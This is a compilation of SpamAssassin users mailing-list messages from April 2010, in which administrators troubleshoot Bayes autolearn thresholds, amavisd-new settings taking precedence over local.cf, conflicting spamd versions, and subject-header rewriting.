3) amavisd loads the SA libraries internally, so it is not necessary to
run spamd.

So your required_hits, report_safe, and rewrite_header options will not
be used by amavis.

However, the bayes settings along with rules, scores, etc, ARE read from
the normal SA configs, so if you want to change the Bayes learning
behavior, you can add the settings given above to your local.cf file and
then restart amavisd.  Keep in mind that the settings shown above are
more conservative than the default, so it will result in fewer messages
being learned automatically, but it is less likely to learn messages
incorrectly (spam being learned as ham or ham being learned as spam).

-- 
Bowie

Re: Auto Learn Spam

[Dennis B. Hopp]

On Wed, 2010-04-28 at 12:38 -0400, Carlos Mennens wrote:

> I checked /etc/mail/spamassassin/local.cf just now and found only the 
> following:
> 
> required_hits 5
> report_safe 0
> rewrite_header Subject [SPAM]
> 
> However I don't know if Amavisd-new is looking at local.cf because I
> show parameters in my amavisd.conf file for SpamAssassin:
> 
> $sa_tag_level_deflt  = -999.0;  # add spam info headers if at, or
> above that level
> $sa_tag2_level_deflt = 5.0; # add 'spam detected' headers at that level
> $sa_kill_level_deflt = 8.0; # triggers spam evasive actions (e.g.
> blocks mail)
> $sa_dsn_cutoff_level = 10;  # spam level beyond which a DSN is not sent
> $sa_quarantine_cutoff_level = 12; # spam level beyond which quarantine is off
> $penpals_bonus_score = 8;# (no effect without a @storage_sql_dsn database)
> $penpals_threshold_high = $sa_kill_level_deflt;  # don't waste time on hi spam
> 

These settings are for amavisd-new and not spamassassin.  Amavisd-new is
the glue between your MTA and spamassassin (and virus scanners).  Most
of the behavior of spamassassin is still controlled through the local.cf
(although some settings can be defined in both places and the
amavisd.conf file will take precedence).

> $sa_mail_body_size_limit = 400*1024; # don't waste time on SA if mail is 
> larger
> $sa_local_tests_only = 0;# only tests which do not require internet 
> access?
> [...]
> $sa_spam_subject_tag = '***SPAM*** ';
> $defang_virus  = 1;  # MIME-wrap passed infected mail
> $defang_banned = 1;  # MIME-wrap passed mail containing banned name
> # for defanging bad headers only turn on certain minor contents categories:
> $defang_by_ccat{+CC_BADH.",3"} = 1;  # NUL or CR character in header
> $defang_by_ccat{+CC_BADH.",5"} = 1;  # header line longer than 998 characters
> 
> When I get a spam message that was scored by SA, it says ***SPAM***
> and not [SPAM] so that leaves me to believe that SA parameters are
> being fed from amavisd.conf file. Does this make sense to you guys?

This is just the setting in amavisd.conf taking precedence.  If you were
to comment out $sa_spam_subject_tag I *believe* the value in your
local.cf would then be used.

How many Froms?

[Charles Gregory]

Hiyo!

Occasionally I see an e-mail with multiple addresses on the 'From:' 
header. (not the envelope)


Can anyone think of legitimate uses for multiple From: addresses?
Or could I just use a rule like:

header From =~ /\...@.*\@/

- C

Re: spamd[18549]: config: failed to parse line, skipping, in "/etc/mail/spamassassin/local.cf": use_auto_whitelist 1

[Benny Pedersen]

On ons 28 apr 2010 10:55:10 CEST, ram wrote


/usr/bin/spamd  -V
SpamAssassin Server version 3.3.1
  running on Perl 5.8.8
  with SSL support (IO::Socket::SSL 1.01)
  with zlib support (Compress::Zlib 1.42)


spamassassin 2>&1 -D --lint | less

see what gets loaded where

--
xpoint http://www.unicom.com/pw/reply-to-harmful.html

Re: spamd[18549]: config: failed to parse line, skipping, in "/etc/mail/spamassassin/local.cf": use_auto_whitelist 1

[Benny Pedersen]

On ons 28 apr 2010 10:54:38 CEST, ram wrote


both installed from rpm


so you really have both installed at once ?

--
xpoint http://www.unicom.com/pw/reply-to-harmful.html

Re: Auto Learn Spam

[Carlos Mennens]

On Wed, Apr 28, 2010 at 12:10 PM, Dennis B. Hopp  wrote:
> Autolearn kicks in at certain scores.  I believe the default is 12.0 for
> spam and 0.1 for ham.  You can customize those settings in your local.cf
> file.
>
> bayes_auto_learn 1
> bayes_auto_learn_threshold_nonspam -3.0
> bayes_auto_learn_threshold_spam 12.0

I checked /etc/mail/spamassassin/local.cf just now and found only the following:

required_hits 5
report_safe 0
rewrite_header Subject [SPAM]

However I don't know if Amavisd-new is looking at local.cf because I
show parameters in my amavisd.conf file for SpamAssassin:

$sa_tag_level_deflt  = -999.0;  # add spam info headers if at, or
above that level
$sa_tag2_level_deflt = 5.0; # add 'spam detected' headers at that level
$sa_kill_level_deflt = 8.0; # triggers spam evasive actions (e.g.
blocks mail)
$sa_dsn_cutoff_level = 10;  # spam level beyond which a DSN is not sent
$sa_quarantine_cutoff_level = 12; # spam level beyond which quarantine is off
$penpals_bonus_score = 8;# (no effect without a @storage_sql_dsn database)
$penpals_threshold_high = $sa_kill_level_deflt;  # don't waste time on hi spam

$sa_mail_body_size_limit = 400*1024; # don't waste time on SA if mail is larger
$sa_local_tests_only = 0;# only tests which do not require internet access?
[...]
$sa_spam_subject_tag = '***SPAM*** ';
$defang_virus  = 1;  # MIME-wrap passed infected mail
$defang_banned = 1;  # MIME-wrap passed mail containing banned name
# for defanging bad headers only turn on certain minor contents categories:
$defang_by_ccat{+CC_BADH.",3"} = 1;  # NUL or CR character in header
$defang_by_ccat{+CC_BADH.",5"} = 1;  # header line longer than 998 characters

When I get a spam message that was scored by SA, it says ***SPAM***
and not [SPAM] so that leaves me to believe that SA parameters are
being fed from amavisd.conf file. Does this make sense to you guys?


>
> I changed the default value for nonspam because the majority of my users
> don't train bayes and so the default value could cause bayes to learn
> incorrectly if a spam message scored low (maybe no network rules or URI
> rules triggered the first few times).
>
>> X-Spam-Status: No, score=2.808 tagged_above=-999 required=5
>>     tests=[BAYES_50=0.8, HTML_IMAGE_ONLY_24=1.618, HTML_MESSAGE=0.001,
>>     HTML_MIME_NO_HTML_TAG=0.377, MIME_HTML_ONLY=0.723,
>>     RCVD_IN_DNSWL_LOW=-0.7, SPF_PASS=-0.001, T_RP_MATCHES_RCVD=-0.01]
>>     autolearn=no
>>
>
> This particular message scored a 2.808 so it's not high or low enough
> for bayes to know which way it should learn the message.
>
> --Dennis
>
>

Re: spamd[18549]: config: failed to parse line, skipping, in "/etc/mail/spamassassin/local.cf": use_auto_whitelist 1

[Benny Pedersen]

On ons 28 apr 2010 08:10:49 CEST, ram wrote


after update also still it shows old version why ?


make sure its not installed so

possible you have 2 perl versions, 2 spamassassin versions installed

only you can see it

--
xpoint http://www.unicom.com/pw/reply-to-harmful.html

Re: Auto Learn Spam

[Dennis B. Hopp]

On Wed, 2010-04-28 at 11:53 -0400, Carlos Mennens wrote:
> I noticed when reviewing headers today that there was a section for
> 'autolearn=no' and was wondering what exactly does this mean and
> wouldn't autolearn be a good thing? I use Amavisd-new which calls out
> to SpamAssassin modules but I don't have the spamd daemon running
> physically. The Amavisd-new daemon simply loads the modules for spamd
> and does the scoring directly saving my mail server from running more
> daemon's and system resources that it needs to. So below are the
> headers:
> 

Autolearn kicks in at certain scores.  I believe the default is 12.0 for
spam and 0.1 for ham.  You can customize those settings in your local.cf
file.

bayes_auto_learn 1
bayes_auto_learn_threshold_nonspam -3.0
bayes_auto_learn_threshold_spam 12.0

I changed the default value for nonspam because the majority of my users
don't train bayes and so the default value could cause bayes to learn
incorrectly if a spam message scored low (maybe no network rules or URI
rules triggered the first few times).

> X-Spam-Status: No, score=2.808 tagged_above=-999 required=5
> tests=[BAYES_50=0.8, HTML_IMAGE_ONLY_24=1.618, HTML_MESSAGE=0.001,
> HTML_MIME_NO_HTML_TAG=0.377, MIME_HTML_ONLY=0.723,
> RCVD_IN_DNSWL_LOW=-0.7, SPF_PASS=-0.001, T_RP_MATCHES_RCVD=-0.01]
> autolearn=no
> 

This particular message scored a 2.808 so it's not high or low enough
for bayes to know which way it should learn the message.

--Dennis

Re: Auto Learn Spam

[Michael Scheidell]

On 4/28/10 11:53 AM, Carlos Mennens wrote:

I noticed when reviewing headers today that there was a section for
'autolearn=no'

its a SPAMASSASSIN thing. (google)
it means the score was either not high enough for SA to learn as spam 
(bayes, and/or AWL) or was not low enough to learn as ham.


you should set the triggers high and low enough so that you don't 
accidentally learn a sneaky spam as ham, etc.


--
Michael Scheidell, CTO
Phone: 561-999-5000, x 1259
> *| *SECNAP Network Security Corporation

   * Certified SNORT Integrator
   * 2008-9 Hot Company Award Winner, World Executive Alliance
   * Five-Star Partner Program 2009, VARBusiness
   * Best Anti-Spam Product 2008, Network Products Guide
   * King of Spam Filters, SC Magazine 2008

__
This email has been scanned and certified safe by SpammerTrap(r). 
For Information please see http://www.secnap.com/products/spammertrap/
__  

Auto Learn Spam

[Carlos Mennens]

I noticed when reviewing headers today that there was a section for
'autolearn=no' and was wondering what exactly does this mean and
wouldn't autolearn be a good thing? I use Amavisd-new which calls out
to SpamAssassin modules but I don't have the spamd daemon running
physically. The Amavisd-new daemon simply loads the modules for spamd
and does the scoring directly saving my mail server from running more
daemon's and system resources that it needs to. So below are the
headers:

X-Spam-Status: No, score=2.808 tagged_above=-999 required=5
tests=[BAYES_50=0.8, HTML_IMAGE_ONLY_24=1.618, HTML_MESSAGE=0.001,
HTML_MIME_NO_HTML_TAG=0.377, MIME_HTML_ONLY=0.723,
RCVD_IN_DNSWL_LOW=-0.7, SPF_PASS=-0.001, T_RP_MATCHES_RCVD=-0.01]
autolearn=no

The last line is what I am confused about.

-Carlos

Re: spamd[18549]: config: failed to parse line, skipping, in "/etc/mail/spamassassin/local.cf": use_auto_whitelist 1

[Bowie Bailey]

ram wrote:
> /usr/bin/spamd  -V
> SpamAssassin Server version 3.3.1
>   running on Perl 5.8.8
>   with SSL support (IO::Socket::SSL 1.01)
>   with zlib support (Compress::Zlib 1.42)
>
>
> On Wed, Apr 28, 2010 at 12:14 PM, Jari Fredriksson  > wrote:
>
> On 28.4.2010 9:10, ram wrote:
> > after update also still it shows old version why ?
> >
> > X-Spam-Status: No, score=-0.4 required=5.0 tests=AWL,BAYES_00,
> >
>  DATE_IN_PAST_03_06,HTML_MESSAGE,HTML_MIME_NO_HTML_TAG,MIME_HTML_ONLY,
> >  RCVD_IN_SORBS_WEB autolearn=no version=3.2.5
> >
>
> Maybe you used to use the distro packaked version /usr/sbin/spamd and
> now you compiled from source or from CPAN: /usr/local/bin/spamd
>
> The /etc/init.d/spamassassin or such must be changed to start the
> correct version.
>

Then that is obviously not the version that is running.  Restart spamd
and then look in your maillog for a line like this:

Apr 28 11:29:00 bnofmail spamd[31983]: spamd: server started on port
783/tcp (running version 3.3.1)

If it doesn't say 3.3.1, then you have two spamd's installed and you
need to track down the old one and get rid of it.

-- 
Bowie

Re: spamd[18549]: config: failed to parse line, skipping, in "/etc/mail/spamassassin/local.cf": use_auto_whitelist 1

[ram]

/usr/bin/spamd  -V
SpamAssassin Server version 3.3.1
  running on Perl 5.8.8
  with SSL support (IO::Socket::SSL 1.01)
  with zlib support (Compress::Zlib 1.42)


On Wed, Apr 28, 2010 at 12:14 PM, Jari Fredriksson  wrote:

> On 28.4.2010 9:10, ram wrote:
> > after update also still it shows old version why ?
> >
> > X-Spam-Status: No, score=-0.4 required=5.0 tests=AWL,BAYES_00,
> >  DATE_IN_PAST_03_06,HTML_MESSAGE,HTML_MIME_NO_HTML_TAG,MIME_HTML_ONLY,
> >  RCVD_IN_SORBS_WEB autolearn=no version=3.2.5
> >
>
> Maybe you used to use the distro packaked version /usr/sbin/spamd and
> now you compiled from source or from CPAN: /usr/local/bin/spamd
>
> The /etc/init.d/spamassassin or such must be changed to start the
> correct version.
>
>
>
> --
> http://www.iki.fi/jarif/
>
> There is no hunting like the hunting of man, and those who have hunted
> armed men long enough and liked it, never care for anything else
> thereafter.
>-- Ernest Hemingway
>
>

Re: spamd[18549]: config: failed to parse line, skipping, in "/etc/mail/spamassassin/local.cf": use_auto_whitelist 1

[ram]

both installed from rpm

Ram

On Wed, Apr 28, 2010 at 12:14 PM, Jari Fredriksson  wrote:

> On 28.4.2010 9:10, ram wrote:
> > after update also still it shows old version why ?
> >
> > X-Spam-Status: No, score=-0.4 required=5.0 tests=AWL,BAYES_00,
> >  DATE_IN_PAST_03_06,HTML_MESSAGE,HTML_MIME_NO_HTML_TAG,MIME_HTML_ONLY,
> >  RCVD_IN_SORBS_WEB autolearn=no version=3.2.5
> >
>
> Maybe you used to use the distro packaked version /usr/sbin/spamd and
> now you compiled from source or from CPAN: /usr/local/bin/spamd
>
> The /etc/init.d/spamassassin or such must be changed to start the
> correct version.
>
>
>
> --
> http://www.iki.fi/jarif/
>
> There is no hunting like the hunting of man, and those who have hunted
> armed men long enough and liked it, never care for anything else
> thereafter.
>-- Ernest Hemingway
>
>

Re: Spamassassin rewriting headers of messages that are not marked Spam

[Arthur Dent]

On Tue, 2010-04-27 at 23:53 -0700, Sitapati wrote:
> Thanks for your reply Alex!
> 
> 
> Alex-325 wrote:
> > 
> > Hi,
> > 
> >> My spamassassin installation suddenly (since March) starting rewriting
> >> the
> >> headers of messages that are not spam.
> > 
> > March isn't so suddenly. Why is it a problem now and not last month?
> > 
> I'm tolerant. However, my tolerance has limits, and I've reached them.
> 
> Alex-325 wrote:
> > 
> > Are you sure it is your system that is rewriting the headers? Is it
> > happening on every email?
> > 
> It's happening on 90%, and I'm not able to discern the pattern of the other
> 10%. Yes I'm sure it's my system, because the header shows xspam-prev-header
> without [SPAM] in it. That means that spamassassin admits that it changed
> the header and added [SPAM] to it.
> 
> Alex-325 wrote:
> > 
> >> X-Spam-Status: No, score=3.9 required=5.0 tests=AWL,BAYES_50,
> >> DNS_FROM_OPENWHOIS,FH_DATE_PAST_20XX,HTML_MESSAGE,URG_BIZ autolearn=no
> > 
> > That says that it isn't spam, so it doesn't seem likely that your
> > system would be rewriting the subject header to say that it's spam.
> > 
> It seems that my system shouldn't be doing it,  but it is, which is the
> problem.
> 
> Alex-325 wrote:
> > 
> > What setting do you have in local.cf for reporting? Check these
> > variables:
> > 
> > report_safe
> > clear_report_template
> > report
> > add_header all
> > 
> This is the entire content of my local.cf:
> 
> required_hits 5
> report_safe 0
> rewrite_header Subject [SPAM]

Just to be sure it *is* your SA installation that's writing this, try
changing that (temporarily) to something like: 

rewrite_header Subject [SPAM Test]

and see if it really is your SA doing the re-write. Don't forget to
restart spamd.




signature.asc
Description: This is a digitally signed message part